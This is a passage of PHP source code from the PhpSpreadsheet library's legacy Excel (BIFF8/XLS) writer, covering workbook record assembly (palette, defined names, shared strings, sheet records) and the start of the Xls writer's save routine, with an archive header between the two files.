hexdec(substr($rgb, 0, 2)), hexdec(substr($rgb, 2, 2)), hexdec(substr($rgb, 4)), 0, ]; $colorIndex = array_search($color, $this->palette); if ($colorIndex) { $this->colors[$rgb] = $colorIndex; } else { if (count($this->colors) === 0) { $lastColor = 7; } else { $lastColor = end($this->colors); } if ($lastColor < 57) { // then we add a custom color altering the palette $colorIndex = $lastColor + 1; $this->palette[$colorIndex] = $color; $this->colors[$rgb] = $colorIndex; } else { // no room for more custom colors, just map to black $colorIndex = 0; } } } else { // fetch already added custom color $colorIndex = $this->colors[$rgb]; } return $colorIndex; } /** * Sets the colour palette to the Excel 97+ default. */ private function setPaletteXl97(): void { $this->palette = [ 0x08 => [0x00, 0x00, 0x00, 0x00], 0x09 => [0xFF, 0xFF, 0xFF, 0x00], 0x0A => [0xFF, 0x00, 0x00, 0x00], 0x0B => [0x00, 0xFF, 0x00, 0x00], 0x0C => [0x00, 0x00, 0xFF, 0x00], 0x0D => [0xFF, 0xFF, 0x00, 0x00], 0x0E => [0xFF, 0x00, 0xFF, 0x00], 0x0F => [0x00, 0xFF, 0xFF, 0x00], 0x10 => [0x80, 0x00, 0x00, 0x00], 0x11 => [0x00, 0x80, 0x00, 0x00], 0x12 => [0x00, 0x00, 0x80, 0x00], 0x13 => [0x80, 0x80, 0x00, 0x00], 0x14 => [0x80, 0x00, 0x80, 0x00], 0x15 => [0x00, 0x80, 0x80, 0x00], 0x16 => [0xC0, 0xC0, 0xC0, 0x00], 0x17 => [0x80, 0x80, 0x80, 0x00], 0x18 => [0x99, 0x99, 0xFF, 0x00], 0x19 => [0x99, 0x33, 0x66, 0x00], 0x1A => [0xFF, 0xFF, 0xCC, 0x00], 0x1B => [0xCC, 0xFF, 0xFF, 0x00], 0x1C => [0x66, 0x00, 0x66, 0x00], 0x1D => [0xFF, 0x80, 0x80, 0x00], 0x1E => [0x00, 0x66, 0xCC, 0x00], 0x1F => [0xCC, 0xCC, 0xFF, 0x00], 0x20 => [0x00, 0x00, 0x80, 0x00], 0x21 => [0xFF, 0x00, 0xFF, 0x00], 0x22 => [0xFF, 0xFF, 0x00, 0x00], 0x23 => [0x00, 0xFF, 0xFF, 0x00], 0x24 => [0x80, 0x00, 0x80, 0x00], 0x25 => [0x80, 0x00, 0x00, 0x00], 0x26 => [0x00, 0x80, 0x80, 0x00], 0x27 => [0x00, 0x00, 0xFF, 0x00], 0x28 => [0x00, 0xCC, 0xFF, 0x00], 0x29 => [0xCC, 0xFF, 0xFF, 0x00], 0x2A => [0xCC, 0xFF, 0xCC, 0x00], 0x2B => [0xFF, 0xFF, 0x99, 0x00], 0x2C => [0x99, 0xCC, 0xFF, 0x00], 0x2D => [0xFF, 0x99, 0xCC, 0x00], 0x2E => [0xCC, 0x99, 0xFF, 0x00], 0x2F => [0xFF, 0xCC, 0x99, 0x00], 0x30 => [0x33, 0x66, 0xFF, 0x00], 0x31 => [0x33, 0xCC, 0xCC, 0x00], 0x32 => [0x99, 0xCC, 0x00, 0x00], 0x33 => [0xFF, 0xCC, 0x00, 0x00], 0x34 => [0xFF, 0x99, 0x00, 0x00], 0x35 => [0xFF, 0x66, 0x00, 0x00], 0x36 => [0x66, 0x66, 0x99, 0x00], 0x37 => [0x96, 0x96, 0x96, 0x00], 0x38 => [0x00, 0x33, 0x66, 0x00], 0x39 => [0x33, 0x99, 0x66, 0x00], 0x3A => [0x00, 0x33, 0x00, 0x00], 0x3B => [0x33, 0x33, 0x00, 0x00], 0x3C => [0x99, 0x33, 0x00, 0x00], 0x3D => [0x99, 0x33, 0x66, 0x00], 0x3E => [0x33, 0x33, 0x99, 0x00], 0x3F => [0x33, 0x33, 0x33, 0x00], ]; } /** * Assemble worksheets into a workbook and send the BIFF data to an OLE * storage. * * @param array $worksheetSizes The sizes in bytes of the binary worksheet streams * * @return string Binary data for workbook stream */ public function writeWorkbook(array $worksheetSizes): string { $this->worksheetSizes = $worksheetSizes; // Calculate the number of selected worksheet tabs and call the finalization // methods for each worksheet $total_worksheets = $this->spreadsheet->getSheetCount(); // Add part 1 of the Workbook globals, what goes before the SHEET records $this->storeBof(0x0005); $this->writeCodepage(); $this->writeWindow1(); $this->writeDateMode(); $this->writeAllFonts(); $this->writeAllNumberFormats(); $this->writeAllXfs(); $this->writeAllStyles(); $this->writePalette(); // Prepare part 3 of the workbook global stream, what goes after the SHEET records $part3 = ''; if ($this->countryCode !== -1) { $part3 .= $this->writeCountry(); } $part3 .= $this->writeRecalcId(); $part3 .= $this->writeSupbookInternal(); /* TODO: store external SUPBOOK records and XCT and CRN records in case of external references for BIFF8 */ $part3 .= $this->writeExternalsheetBiff8(); $part3 .= $this->writeAllDefinedNamesBiff8(); $part3 .= $this->writeMsoDrawingGroup(); $part3 .= $this->writeSharedStringsTable(); $part3 .= $this->writeEof(); // Add part 2 of the Workbook globals, the SHEET records $this->calcSheetOffsets(); for ($i = 0; $i < $total_worksheets; ++$i) { $this->writeBoundSheet($this->spreadsheet->getSheet($i), $this->worksheetOffsets[$i]); } // Add part 3 of the Workbook globals $this->_data .= $part3; return $this->_data; } /** * Calculate offsets for Worksheet BOF records. */ private function calcSheetOffsets(): void { $boundsheet_length = 10; // fixed length for a BOUNDSHEET record // size of Workbook globals part 1 + 3 $offset = $this->_datasize; // add size of Workbook globals part 2, the length of the SHEET records $total_worksheets = count($this->spreadsheet->getAllSheets()); foreach ($this->spreadsheet->getWorksheetIterator() as $sheet) { $offset += $boundsheet_length + strlen(StringHelper::UTF8toBIFF8UnicodeShort($sheet->getTitle())); } // add the sizes of each of the Sheet substreams, respectively for ($i = 0; $i < $total_worksheets; ++$i) { $this->worksheetOffsets[$i] = $offset; $offset += $this->worksheetSizes[$i]; } //$this->biffSize = $offset; } /** * Store the Excel FONT records. */ private function writeAllFonts(): void { foreach ($this->fontWriters as $fontWriter) { $this->append($fontWriter->writeFont()); } } /** * Store user defined numerical formats i.e. FORMAT records. */ private function writeAllNumberFormats(): void { foreach ($this->numberFormats as $numberFormatIndex => $numberFormat) { $this->writeNumberFormat($numberFormat->getFormatCode(), $numberFormatIndex); } } /** * Write all XF records. */ private function writeAllXfs(): void { foreach ($this->xfWriters as $xfWriter) { $this->append($xfWriter->writeXf()); } } /** * Write all STYLE records. */ private function writeAllStyles(): void { $this->writeStyle(); } private function parseDefinedNameValue(DefinedName $definedName): string { $definedRange = $definedName->getValue(); $splitCount = preg_match_all( '/' . Calculation::CALCULATION_REGEXP_CELLREF . '/mui', $definedRange, $splitRanges, PREG_OFFSET_CAPTURE ); $lengths = array_map('strlen', array_column($splitRanges[0], 0)); $offsets = array_column($splitRanges[0], 1); $worksheets = $splitRanges[2]; $columns = $splitRanges[6]; $rows = $splitRanges[7]; while ($splitCount > 0) { --$splitCount; $length = $lengths[$splitCount]; $offset = $offsets[$splitCount]; $worksheet = $worksheets[$splitCount][0]; $column = $columns[$splitCount][0]; $row = $rows[$splitCount][0]; $newRange = ''; if (empty($worksheet)) { if (($offset === 0) || ($definedRange[$offset - 1] !== ':')) { // We should have a worksheet $worksheet = $definedName->getWorksheet() ? $definedName->getWorksheet()->getTitle() : null; } } else { $worksheet = str_replace("''", "'", trim($worksheet, "'")); } if (!empty($worksheet)) { $newRange = "'" . str_replace("'", "''", $worksheet) . "'!"; } if (!empty($column)) { $newRange .= "\${$column}"; } if (!empty($row)) { $newRange .= "\${$row}"; } $definedRange = substr($definedRange, 0, $offset) . $newRange . substr($definedRange, $offset + $length); } return $definedRange; } /** * Writes all the DEFINEDNAME records (BIFF8). * So far this is only used for repeating rows/columns (print titles) and print areas. */ private function writeAllDefinedNamesBiff8(): string { $chunk = ''; // Named ranges $definedNames = $this->spreadsheet->getDefinedNames(); if (count($definedNames) > 0) { // Loop named ranges foreach ($definedNames as $definedName) { $range = $this->parseDefinedNameValue($definedName); // parse formula try { $this->parser->parse($range); $formulaData = $this->parser->toReversePolish(); // make sure tRef3d is of type tRef3dR (0x3A) if (isset($formulaData[0]) && ($formulaData[0] == "\x7A" || $formulaData[0] == "\x5A")) { $formulaData = "\x3A" . substr($formulaData, 1); } if ($definedName->getLocalOnly()) { // local scope $scopeWs = $definedName->getScope(); $scope = ($scopeWs === null) ? 0 : ($this->spreadsheet->getIndex($scopeWs) + 1); } else { // global scope $scope = 0; } $chunk .= $this->writeData($this->writeDefinedNameBiff8($definedName->getName(), $formulaData, $scope, false)); } catch (PhpSpreadsheetException) { // do nothing } } } // total number of sheets $total_worksheets = $this->spreadsheet->getSheetCount(); // write the print titles (repeating rows, columns), if any for ($i = 0; $i < $total_worksheets; ++$i) { $sheetSetup = $this->spreadsheet->getSheet($i)->getPageSetup(); // simultaneous repeatColumns repeatRows if ($sheetSetup->isColumnsToRepeatAtLeftSet() && $sheetSetup->isRowsToRepeatAtTopSet()) { $repeat = $sheetSetup->getColumnsToRepeatAtLeft(); $colmin = Coordinate::columnIndexFromString($repeat[0]) - 1; $colmax = Coordinate::columnIndexFromString($repeat[1]) - 1; $repeat = $sheetSetup->getRowsToRepeatAtTop(); $rowmin = $repeat[0] - 1; $rowmax = $repeat[1] - 1; // construct formula data manually $formulaData = pack('Cv', 0x29, 0x17); // tMemFunc $formulaData .= pack('Cvvvvv', 0x3B, $i, 0, 65535, $colmin, $colmax); // tArea3d $formulaData .= pack('Cvvvvv', 0x3B, $i, $rowmin, $rowmax, 0, 255); // tArea3d $formulaData .= pack('C', 0x10); // tList // store the DEFINEDNAME record $chunk .= $this->writeData($this->writeDefinedNameBiff8(pack('C', 0x07), $formulaData, $i + 1, true)); } elseif ($sheetSetup->isColumnsToRepeatAtLeftSet() || $sheetSetup->isRowsToRepeatAtTopSet()) { // (exclusive) either repeatColumns or repeatRows. // Columns to repeat if ($sheetSetup->isColumnsToRepeatAtLeftSet()) { $repeat = $sheetSetup->getColumnsToRepeatAtLeft(); $colmin = Coordinate::columnIndexFromString($repeat[0]) - 1; $colmax = Coordinate::columnIndexFromString($repeat[1]) - 1; } else { $colmin = 0; $colmax = 255; } // Rows to repeat if ($sheetSetup->isRowsToRepeatAtTopSet()) { $repeat = $sheetSetup->getRowsToRepeatAtTop(); $rowmin = $repeat[0] - 1; $rowmax = $repeat[1] - 1; } else { $rowmin = 0; $rowmax = 65535; } // construct formula data manually because parser does not recognize absolute 3d cell references $formulaData = pack('Cvvvvv', 0x3B, $i, $rowmin, $rowmax, $colmin, $colmax); // store the DEFINEDNAME record $chunk .= $this->writeData($this->writeDefinedNameBiff8(pack('C', 0x07), $formulaData, $i + 1, true)); } } // write the print areas, if any for ($i = 0; $i < $total_worksheets; ++$i) { $sheetSetup = $this->spreadsheet->getSheet($i)->getPageSetup(); if ($sheetSetup->isPrintAreaSet()) { // Print area, e.g. A3:J6,H1:X20 $printArea = Coordinate::splitRange($sheetSetup->getPrintArea()); $countPrintArea = count($printArea); $formulaData = ''; for ($j = 0; $j < $countPrintArea; ++$j) { $printAreaRect = $printArea[$j]; // e.g. A3:J6 $printAreaRect[0] = Coordinate::indexesFromString($printAreaRect[0]); $printAreaRect[1] = Coordinate::indexesFromString($printAreaRect[1]); $print_rowmin = $printAreaRect[0][1] - 1; $print_rowmax = $printAreaRect[1][1] - 1; $print_colmin = $printAreaRect[0][0] - 1; $print_colmax = $printAreaRect[1][0] - 1; // construct formula data manually because parser does not recognize absolute 3d cell references $formulaData .= pack('Cvvvvv', 0x3B, $i, $print_rowmin, $print_rowmax, $print_colmin, $print_colmax); if ($j > 0) { $formulaData .= pack('C', 0x10); // list operator token ',' } } // store the DEFINEDNAME record $chunk .= $this->writeData($this->writeDefinedNameBiff8(pack('C', 0x06), $formulaData, $i + 1, true)); } } // write autofilters, if any for ($i = 0; $i < $total_worksheets; ++$i) { $sheetAutoFilter = $this->spreadsheet->getSheet($i)->getAutoFilter(); $autoFilterRange = $sheetAutoFilter->getRange(); if (!empty($autoFilterRange)) { $rangeBounds = Coordinate::rangeBoundaries($autoFilterRange); //Autofilter built in name $name = pack('C', 0x0D); $chunk .= $this->writeData($this->writeShortNameBiff8($name, $i + 1, $rangeBounds, true)); } } return $chunk; } /** * Write a DEFINEDNAME record for BIFF8 using explicit binary formula data. * * @param string $name The name in UTF-8 * @param string $formulaData The binary formula data * @param int $sheetIndex 1-based sheet index the defined name applies to. 0 = global * @param bool $isBuiltIn Built-in name? * * @return string Complete binary record data */ private function writeDefinedNameBiff8(string $name, string $formulaData, int $sheetIndex = 0, bool $isBuiltIn = false): string { $record = 0x0018; // option flags $options = $isBuiltIn ? 0x20 : 0x00; // length of the name, character count $nlen = StringHelper::countCharacters($name); // name with stripped length field $name = substr(StringHelper::UTF8toBIFF8UnicodeLong($name), 2); // size of the formula (in bytes) $sz = strlen($formulaData); // combine the parts $data = pack('vCCvvvCCCC', $options, 0, $nlen, $sz, 0, $sheetIndex, 0, 0, 0, 0) . $name . $formulaData; $length = strlen($data); $header = pack('vv', $record, $length); return $header . $data; } /** * Write a short NAME record. * * @param int $sheetIndex 1-based sheet index the defined name applies to. 0 = global * @param int[][] $rangeBounds range boundaries * * @return string Complete binary record data * */ private function writeShortNameBiff8(string $name, int $sheetIndex, array $rangeBounds, bool $isHidden = false): string { $record = 0x0018; // option flags $options = ($isHidden ? 0x21 : 0x00); $extra = pack( 'Cvvvvv', 0x3B, $sheetIndex - 1, $rangeBounds[0][1] - 1, $rangeBounds[1][1] - 1, $rangeBounds[0][0] - 1, $rangeBounds[1][0] - 1 ); // size of the formula (in bytes) $sz = strlen($extra); // combine the parts $data = pack('vCCvvvCCCCC', $options, 0, 1, $sz, 0, $sheetIndex, 0, 0, 0, 0, 0) . $name . $extra; $length = strlen($data); $header = pack('vv', $record, $length); return $header . $data; } /** * Stores the CODEPAGE biff record. */ private function writeCodepage(): void { $record = 0x0042; // Record identifier $length = 0x0002; // Number of bytes to follow $cv = $this->codepage; // The code page $header = pack('vv', $record, $length); $data = pack('v', $cv); $this->append($header . $data); } /** * Write Excel BIFF WINDOW1 record. */ private function writeWindow1(): void { $record = 0x003D; // Record identifier $length = 0x0012; // Number of bytes to follow $xWn = 0x0000; // Horizontal position of window $yWn = 0x0000; // Vertical position of window $dxWn = 0x25BC; // Width of window $dyWn = 0x1572; // Height of window $grbit = 0x0038; // Option flags // not supported by PhpSpreadsheet, so there is only one selected sheet, the active $ctabsel = 1; // Number of workbook tabs selected $wTabRatio = 0x0258; // Tab to scrollbar ratio // not supported by PhpSpreadsheet, set to 0 $itabFirst = 0; // 1st displayed worksheet $itabCur = $this->spreadsheet->getActiveSheetIndex(); // Active worksheet $header = pack('vv', $record, $length); $data = pack('vvvvvvvvv', $xWn, $yWn, $dxWn, $dyWn, $grbit, $itabCur, $itabFirst, $ctabsel, $wTabRatio); $this->append($header . $data); } /** * Writes Excel BIFF BOUNDSHEET record. * * @param int $offset Location of worksheet BOF */ private function writeBoundSheet(\PhpOffice\PhpSpreadsheet\Worksheet\Worksheet $sheet, int $offset): void { $sheetname = $sheet->getTitle(); $record = 0x0085; // Record identifier $ss = match ($sheet->getSheetState()) { \PhpOffice\PhpSpreadsheet\Worksheet\Worksheet::SHEETSTATE_VISIBLE => 0x00, \PhpOffice\PhpSpreadsheet\Worksheet\Worksheet::SHEETSTATE_HIDDEN => 0x01, \PhpOffice\PhpSpreadsheet\Worksheet\Worksheet::SHEETSTATE_VERYHIDDEN => 0x02, default => 0x00, }; // sheet type $st = 0x00; //$grbit = 0x0000; // Visibility and sheet type $data = pack('VCC', $offset, $ss, $st); $data .= StringHelper::UTF8toBIFF8UnicodeShort($sheetname); $length = strlen($data); $header = pack('vv', $record, $length); $this->append($header . $data); } /** * Write Internal SUPBOOK record. */ private function writeSupbookInternal(): string { $record = 0x01AE; // Record identifier $length = 0x0004; // Bytes to follow $header = pack('vv', $record, $length); $data = pack('vv', $this->spreadsheet->getSheetCount(), 0x0401); return $this->writeData($header . $data); } /** * Writes the Excel BIFF EXTERNSHEET record. These references are used by * formulas. */ private function writeExternalsheetBiff8(): string { $totalReferences = count($this->parser->references); $record = 0x0017; // Record identifier $length = 2 + 6 * $totalReferences; // Number of bytes to follow //$supbook_index = 0; // FIXME: only using internal SUPBOOK record $header = pack('vv', $record, $length); $data = pack('v', $totalReferences); for ($i = 0; $i < $totalReferences; ++$i) { $data .= $this->parser->references[$i]; } return $this->writeData($header . $data); } /** * Write Excel BIFF STYLE records. */ private function writeStyle(): void { $record = 0x0293; // Record identifier $length = 0x0004; // Bytes to follow $ixfe = 0x8000; // Index to cell style XF $BuiltIn = 0x00; // Built-in style $iLevel = 0xFF; // Outline style level $header = pack('vv', $record, $length); $data = pack('vCC', $ixfe, $BuiltIn, $iLevel); $this->append($header . $data); } /** * Writes Excel FORMAT record for non "built-in" numerical formats. * * @param string $format Custom format string * @param int $ifmt Format index code */ private function writeNumberFormat(string $format, int $ifmt): void { $record = 0x041E; // Record identifier $numberFormatString = StringHelper::UTF8toBIFF8UnicodeLong($format); $length = 2 + strlen($numberFormatString); // Number of bytes to follow $header = pack('vv', $record, $length); $data = pack('v', $ifmt) . $numberFormatString; $this->append($header . $data); } /** * Write DATEMODE record to indicate the date system in use (1904 or 1900). */ private function writeDateMode(): void { $record = 0x0022; // Record identifier $length = 0x0002; // Bytes to follow $f1904 = (Date::getExcelCalendar() === Date::CALENDAR_MAC_1904) ? 1 : 0; // Flag for 1904 date system $header = pack('vv', $record, $length); $data = pack('v', $f1904); $this->append($header . $data); } /** * Stores the COUNTRY record for localization. */ private function writeCountry(): string { $record = 0x008C; // Record identifier $length = 4; // Number of bytes to follow $header = pack('vv', $record, $length); // using the same country code always for simplicity $data = pack('vv', $this->countryCode, $this->countryCode); return $this->writeData($header . $data); } /** * Write the RECALCID record. */ private function writeRecalcId(): string { $record = 0x01C1; // Record identifier $length = 8; // Number of bytes to follow $header = pack('vv', $record, $length); // by inspection of real Excel files, MS Office Excel 2007 writes this $data = pack('VV', 0x000001C1, 0x00001E667); return $this->writeData($header . $data); } /** * Stores the PALETTE biff record. */ private function writePalette(): void { $aref = $this->palette; $record = 0x0092; // Record identifier $length = 2 + 4 * count($aref); // Number of bytes to follow $ccv = count($aref); // Number of RGB values to follow $data = ''; // The RGB data // Pack the RGB data foreach ($aref as $color) { foreach ($color as $byte) { $data .= pack('C', $byte); } } $header = pack('vvv', $record, $length, $ccv); $this->append($header . $data); } /** * Handling of the SST continue blocks is complicated by the need to include an * additional continuation byte depending on whether the string is split between * blocks or whether it starts at the beginning of the block. (There are also * additional complications that will arise later when/if Rich Strings are * supported). * * The Excel documentation says that the SST record should be followed by an * EXTSST record. The EXTSST record is a hash table that is used to optimise * access to SST. However, despite the documentation it doesn't seem to be * required so we will ignore it. * * @return string Binary data */ private function writeSharedStringsTable(): string { // maximum size of record data (excluding record header) $continue_limit = 8224; // initialize array of record data blocks $recordDatas = []; // start SST record data block with total number of strings, total number of unique strings $recordData = pack('VV', $this->stringTotal, $this->stringUnique); // loop through all (unique) strings in shared strings table foreach (array_keys($this->stringTable) as $string) { // here $string is a BIFF8 encoded string // length = character count $headerinfo = unpack('vlength/Cencoding', $string); // currently, this is always 1 = uncompressed $encoding = $headerinfo['encoding'] ?? 1; // initialize finished writing current $string $finished = false; while ($finished === false) { // normally, there will be only one cycle, but if string cannot immediately be written as is // there will be need for more than one cylcle, if string longer than one record data block, there // may be need for even more cycles if (strlen($recordData) + strlen($string) <= $continue_limit) { // then we can write the string (or remainder of string) without any problems $recordData .= $string; if (strlen($recordData) + strlen($string) == $continue_limit) { // we close the record data block, and initialize a new one $recordDatas[] = $recordData; $recordData = ''; } // we are finished writing this string $finished = true; } else { // special treatment writing the string (or remainder of the string) // If the string is very long it may need to be written in more than one CONTINUE record. // check how many bytes more there is room for in the current record $space_remaining = $continue_limit - strlen($recordData); // minimum space needed // uncompressed: 2 byte string length length field + 1 byte option flags + 2 byte character // compressed: 2 byte string length length field + 1 byte option flags + 1 byte character $min_space_needed = ($encoding == 1) ? 5 : 4; // We have two cases // 1. space remaining is less than minimum space needed // here we must waste the space remaining and move to next record data block // 2. space remaining is greater than or equal to minimum space needed // here we write as much as we can in the current block, then move to next record data block if ($space_remaining < $min_space_needed) { // 1. space remaining is less than minimum space needed. // we close the block, store the block data $recordDatas[] = $recordData; // and start new record data block where we start writing the string $recordData = ''; } else { // 2. space remaining is greater than or equal to minimum space needed. // initialize effective remaining space, for Unicode strings this may need to be reduced by 1, see below $effective_space_remaining = $space_remaining; // for uncompressed strings, sometimes effective space remaining is reduced by 1 if ($encoding == 1 && (strlen($string) - $space_remaining) % 2 == 1) { --$effective_space_remaining; } // one block fininshed, store the block data $recordData .= substr($string, 0, $effective_space_remaining); $string = substr($string, $effective_space_remaining); // for next cycle in while loop $recordDatas[] = $recordData; // start new record data block with the repeated option flags $recordData = pack('C', $encoding); } } } } // Store the last record data block unless it is empty // if there was no need for any continue records, this will be the for SST record data block itself if ($recordData !== '') { $recordDatas[] = $recordData; } // combine into one chunk with all the blocks SST, CONTINUE,... $chunk = ''; foreach ($recordDatas as $i => $recordData) { // first block should have the SST record header, remaing should have CONTINUE header $record = ($i == 0) ? 0x00FC : 0x003C; $header = pack('vv', $record, strlen($recordData)); $data = $header . $recordData; $chunk .= $this->writeData($data); } return $chunk; } /** * Writes the MSODRAWINGGROUP record if needed. Possibly split using CONTINUE records. */ private function writeMsoDrawingGroup(): string { // write the Escher stream if necessary if (isset($this->escher)) { $writer = new Escher($this->escher); $data = $writer->close(); $record = 0x00EB; $length = strlen($data); $header = pack('vv', $record, $length); return $this->writeData($header . $data); } return ''; } /** * Get Escher object. */ public function getEscher(): ?\PhpOffice\PhpSpreadsheet\Shared\Escher { return $this->escher; } /** * Set Escher object. */ public function setEscher(?\PhpOffice\PhpSpreadsheet\Shared\Escher $escher): void { $this->escher = $escher; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xls.php000064400000105223151676714400020005 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\RichText\Run; use PhpOffice\PhpSpreadsheet\Shared\Escher; use PhpOffice\PhpSpreadsheet\Shared\Escher\DgContainer; use PhpOffice\PhpSpreadsheet\Shared\Escher\DgContainer\SpgrContainer; use PhpOffice\PhpSpreadsheet\Shared\Escher\DgContainer\SpgrContainer\SpContainer; use PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer; use PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer\BstoreContainer; use PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer\BstoreContainer\BSE; use PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer\BstoreContainer\BSE\Blip; use PhpOffice\PhpSpreadsheet\Shared\OLE; use PhpOffice\PhpSpreadsheet\Shared\OLE\PPS\File; use PhpOffice\PhpSpreadsheet\Shared\OLE\PPS\Root; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\BaseDrawing; use PhpOffice\PhpSpreadsheet\Worksheet\Drawing; use PhpOffice\PhpSpreadsheet\Worksheet\MemoryDrawing; use PhpOffice\PhpSpreadsheet\Writer\Xls\Parser; use PhpOffice\PhpSpreadsheet\Writer\Xls\Workbook; use PhpOffice\PhpSpreadsheet\Writer\Xls\Worksheet; class Xls extends BaseWriter { /** * PhpSpreadsheet object. */ private Spreadsheet $spreadsheet; /** * Total number of shared strings in workbook. */ private int $strTotal = 0; /** * Number of unique shared strings in workbook. */ private int $strUnique = 0; /** * Array of unique shared strings in workbook. */ private array $strTable = []; /** * Color cache. Mapping between RGB value and color index. */ private array $colors; /** * Formula parser. */ private Parser $parser; /** * Identifier clusters for drawings. Used in MSODRAWINGGROUP record. */ private array $IDCLs; /** * Basic OLE object summary information. */ private string $summaryInformation; /** * Extended OLE object document summary information. */ private string $documentSummaryInformation; private Workbook $writerWorkbook; /** * @var Worksheet[] */ private array $writerWorksheets; /** * Create a new Xls Writer. * * @param Spreadsheet $spreadsheet PhpSpreadsheet object */ public function __construct(Spreadsheet $spreadsheet) { $this->spreadsheet = $spreadsheet; $this->parser = new Parser($spreadsheet); } /** * Save Spreadsheet to file. * * @param resource|string $filename */ public function save($filename, int $flags = 0): void { $this->processFlags($flags); // garbage collect $this->spreadsheet->garbageCollect(); $saveDebugLog = Calculation::getInstance($this->spreadsheet)->getDebugLog()->getWriteDebugLog(); Calculation::getInstance($this->spreadsheet)->getDebugLog()->setWriteDebugLog(false); $saveDateReturnType = Functions::getReturnDateType(); Functions::setReturnDateType(Functions::RETURNDATE_EXCEL); // initialize colors array $this->colors = []; // Initialise workbook writer $this->writerWorkbook = new Workbook($this->spreadsheet, $this->strTotal, $this->strUnique, $this->strTable, $this->colors, $this->parser); // Initialise worksheet writers $countSheets = $this->spreadsheet->getSheetCount(); for ($i = 0; $i < $countSheets; ++$i) { $this->writerWorksheets[$i] = new Worksheet($this->strTotal, $this->strUnique, $this->strTable, $this->colors, $this->parser, $this->preCalculateFormulas, $this->spreadsheet->getSheet($i)); } // build Escher objects. Escher objects for workbooks needs to be build before Escher object for workbook. $this->buildWorksheetEschers(); $this->buildWorkbookEscher(); // add 15 identical cell style Xfs // for now, we use the first cellXf instead of cellStyleXf $cellXfCollection = $this->spreadsheet->getCellXfCollection(); for ($i = 0; $i < 15; ++$i) { $this->writerWorkbook->addXfWriter($cellXfCollection[0], true); } // add all the cell Xfs foreach ($this->spreadsheet->getCellXfCollection() as $style) { $this->writerWorkbook->addXfWriter($style, false); } // add fonts from rich text eleemnts for ($i = 0; $i < $countSheets; ++$i) { foreach ($this->writerWorksheets[$i]->phpSheet->getCellCollection()->getCoordinates() as $coordinate) { /** @var Cell $cell */ $cell = $this->writerWorksheets[$i]->phpSheet->getCellCollection()->get($coordinate); $cVal = $cell->getValue(); if ($cVal instanceof RichText) { $elements = $cVal->getRichTextElements(); foreach ($elements as $element) { if ($element instanceof Run) { $font = $element->getFont(); if ($font !== null) { $this->writerWorksheets[$i]->fontHashIndex[$font->getHashCode()] = $this->writerWorkbook->addFont($font); } } } } } } // initialize OLE file $workbookStreamName = 'Workbook'; $OLE = new File(OLE::ascToUcs($workbookStreamName)); // Write the worksheet streams before the global workbook stream, // because the byte sizes of these are needed in the global workbook stream $worksheetSizes = []; for ($i = 0; $i < $countSheets; ++$i) { $this->writerWorksheets[$i]->close(); $worksheetSizes[] = $this->writerWorksheets[$i]->_datasize; } // add binary data for global workbook stream $OLE->append($this->writerWorkbook->writeWorkbook($worksheetSizes)); // add binary data for sheet streams for ($i = 0; $i < $countSheets; ++$i) { $OLE->append($this->writerWorksheets[$i]->getData()); } $this->documentSummaryInformation = $this->writeDocumentSummaryInformation(); // initialize OLE Document Summary Information if (!empty($this->documentSummaryInformation)) { $OLE_DocumentSummaryInformation = new File(OLE::ascToUcs(chr(5) . 'DocumentSummaryInformation')); $OLE_DocumentSummaryInformation->append($this->documentSummaryInformation); } $this->summaryInformation = $this->writeSummaryInformation(); // initialize OLE Summary Information if (!empty($this->summaryInformation)) { $OLE_SummaryInformation = new File(OLE::ascToUcs(chr(5) . 'SummaryInformation')); $OLE_SummaryInformation->append($this->summaryInformation); } // define OLE Parts $arrRootData = [$OLE]; // initialize OLE Properties file if (isset($OLE_SummaryInformation)) { $arrRootData[] = $OLE_SummaryInformation; } // initialize OLE Extended Properties file if (isset($OLE_DocumentSummaryInformation)) { $arrRootData[] = $OLE_DocumentSummaryInformation; } $time = $this->spreadsheet->getProperties()->getModified(); $root = new Root($time, $time, $arrRootData); // save the OLE file $this->openFileHandle($filename); $root->save($this->fileHandle); $this->maybeCloseFileHandle(); Functions::setReturnDateType($saveDateReturnType); Calculation::getInstance($this->spreadsheet)->getDebugLog()->setWriteDebugLog($saveDebugLog); } /** * Build the Worksheet Escher objects. */ private function buildWorksheetEschers(): void { // 1-based index to BstoreContainer $blipIndex = 0; $lastReducedSpId = 0; $lastSpId = 0; foreach ($this->spreadsheet->getAllsheets() as $sheet) { // sheet index $sheetIndex = $sheet->getParentOrThrow()->getIndex($sheet); // check if there are any shapes for this sheet $filterRange = $sheet->getAutoFilter()->getRange(); if (count($sheet->getDrawingCollection()) == 0 && empty($filterRange)) { continue; } // create intermediate Escher object $escher = new Escher(); // dgContainer $dgContainer = new DgContainer(); // set the drawing index (we use sheet index + 1) $dgId = $sheet->getParentOrThrow()->getIndex($sheet) + 1; $dgContainer->setDgId($dgId); $escher->setDgContainer($dgContainer); // spgrContainer $spgrContainer = new SpgrContainer(); $dgContainer->setSpgrContainer($spgrContainer); // add one shape which is the group shape $spContainer = new SpContainer(); $spContainer->setSpgr(true); $spContainer->setSpType(0); $spContainer->setSpId(($sheet->getParentOrThrow()->getIndex($sheet) + 1) << 10); $spgrContainer->addChild($spContainer); // add the shapes $countShapes[$sheetIndex] = 0; // count number of shapes (minus group shape), in sheet foreach ($sheet->getDrawingCollection() as $drawing) { ++$blipIndex; ++$countShapes[$sheetIndex]; // add the shape $spContainer = new SpContainer(); // set the shape type $spContainer->setSpType(0x004B); // set the shape flag $spContainer->setSpFlag(0x02); // set the shape index (we combine 1-based sheet index and $countShapes to create unique shape index) $reducedSpId = $countShapes[$sheetIndex]; $spId = $reducedSpId | ($sheet->getParentOrThrow()->getIndex($sheet) + 1) << 10; $spContainer->setSpId($spId); // keep track of last reducedSpId $lastReducedSpId = $reducedSpId; // keep track of last spId $lastSpId = $spId; // set the BLIP index $spContainer->setOPT(0x4104, $blipIndex); // set coordinates and offsets, client anchor $coordinates = 